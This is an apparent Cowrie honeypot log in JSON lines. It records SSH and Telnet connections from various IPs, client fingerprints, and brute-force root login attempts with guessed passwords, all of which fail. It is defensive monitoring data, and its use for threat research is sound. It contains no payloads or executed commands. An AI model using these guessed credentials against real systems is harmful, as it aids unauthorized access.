{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":56230,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f9417354260","protocol":"ssh","message":"New connection: 173.236.141.65:56230 (159.203.135.109:22) [session: 3f9417354260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:56:54.979738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:56:54.983963Z","src_ip":"173.236.141.65","session":"3f9417354260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:56:54.998490Z","src_ip":"173.236.141.65","session":"3f9417354260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"farm456","message":"login attempt [root/farm456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:56:55.029208Z","src_ip":"173.236.141.65","session":"3f9417354260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:56:56.040198Z","src_ip":"173.236.141.65","session":"3f9417354260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":55502,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fcc0db43257","protocol":"telnet","message":"New connection: 137.184.5.188:55502 (159.203.135.109:23) [session: 6fcc0db43257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:57:08.827604Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":58464,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c75e5a36125","protocol":"ssh","message":"New connection: 101.36.119.203:58464 (10.17.0.5:22) [session: 1c75e5a36125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:57:18.581359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:57:18.585519Z","src_ip":"101.36.119.203","session":"1c75e5a36125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:57:18.797704Z","src_ip":"101.36.119.203","session":"1c75e5a36125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello1","message":"login attempt [root/hello1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:57:19.681739Z","src_ip":"101.36.119.203","session":"1c75e5a36125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.185.61","src_port":63716,"dst_ip":"10.17.0.5","dst_port":22,"session":"868f2dd8bef1","protocol":"ssh","message":"New connection: 87.156.185.61:63716 (10.17.0.5:22) [session: 868f2dd8bef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:57:19.785645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:57:19.790563Z","src_ip":"87.156.185.61","session":"868f2dd8bef1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:57:19.909336Z","src_ip":"87.156.185.61","session":"868f2dd8bef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:57:20.897269Z","src_ip":"101.36.119.203","session":"1c75e5a36125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cw#123456","message":"login attempt [root/Cw#123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:57:22.695110Z","src_ip":"87.156.185.61","session":"868f2dd8bef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:57:23.811653Z","src_ip":"87.156.185.61","session":"868f2dd8bef1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":54586,"dst_ip":"10.17.0.5","dst_port":22,"session":"24773a6fb535","protocol":"ssh","message":"New connection: 77.237.244.154:54586 (10.17.0.5:22) [session: 24773a6fb535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:00.141452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:00.145630Z","src_ip":"77.237.244.154","session":"24773a6fb535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:00.238677Z","src_ip":"77.237.244.154","session":"24773a6fb535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty@#$%^&","message":"login attempt [root/qwerty@#$%^&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:00.519737Z","src_ip":"77.237.244.154","session":"24773a6fb535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:01.618192Z","src_ip":"77.237.244.154","session":"24773a6fb535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":42550,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9a1944972fb","protocol":"ssh","message":"New connection: 80.94.92.234:42550 (10.17.0.5:22) [session: d9a1944972fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:20.622208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:20.626101Z","src_ip":"80.94.92.234","session":"d9a1944972fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:20.739851Z","src_ip":"80.94.92.234","session":"d9a1944972fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567","message":"login attempt [root/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:21.038608Z","src_ip":"80.94.92.234","session":"d9a1944972fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:22.139657Z","src_ip":"80.94.92.234","session":"d9a1944972fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":14804,"dst_ip":"159.203.135.109","dst_port":22,"session":"42e742ea93be","protocol":"ssh","message":"New connection: 178.20.210.208:14804 (159.203.135.109:22) [session: 42e742ea93be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:38.636938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:38.640396Z","src_ip":"178.20.210.208","session":"42e742ea93be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:38.764837Z","src_ip":"178.20.210.208","session":"42e742ea93be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ2wsx!@#","message":"login attempt [root/1QAZ2wsx!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:39.150743Z","src_ip":"178.20.210.208","session":"42e742ea93be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:40.252218Z","src_ip":"178.20.210.208","session":"42e742ea93be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":45584,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3083a137c03","protocol":"telnet","message":"New connection: 137.184.5.188:45584 (159.203.135.109:23) [session: f3083a137c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:41.541812Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":58068,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbb28cdf038e","protocol":"ssh","message":"New connection: 23.88.42.180:58068 (10.17.0.5:22) [session: fbb28cdf038e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:45.587473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:45.594496Z","src_ip":"23.88.42.180","session":"fbb28cdf038e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:45.689498Z","src_ip":"23.88.42.180","session":"fbb28cdf038e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wif2024","message":"login attempt [root/wif2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:45.976366Z","src_ip":"23.88.42.180","session":"fbb28cdf038e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:58:47.074065Z","src_ip":"23.88.42.180","session":"fbb28cdf038e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":57224,"dst_ip":"159.203.135.109","dst_port":23,"session":"06bb88f418fe","protocol":"telnet","message":"New connection: 107.6.151.170:57224 (159.203.135.109:23) [session: 06bb88f418fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:01.739885Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":33682,"dst_ip":"10.17.0.5","dst_port":22,"session":"130115583fff","protocol":"ssh","message":"New connection: 101.36.119.203:33682 (10.17.0.5:22) [session: 130115583fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:02.059140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:02.065192Z","src_ip":"101.36.119.203","session":"130115583fff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:02.283793Z","src_ip":"101.36.119.203","session":"130115583fff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Prabhu@123","message":"login attempt [root/Prabhu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:03.189170Z","src_ip":"101.36.119.203","session":"130115583fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:04.410140Z","src_ip":"101.36.119.203","session":"130115583fff","protocol":"ssh"}
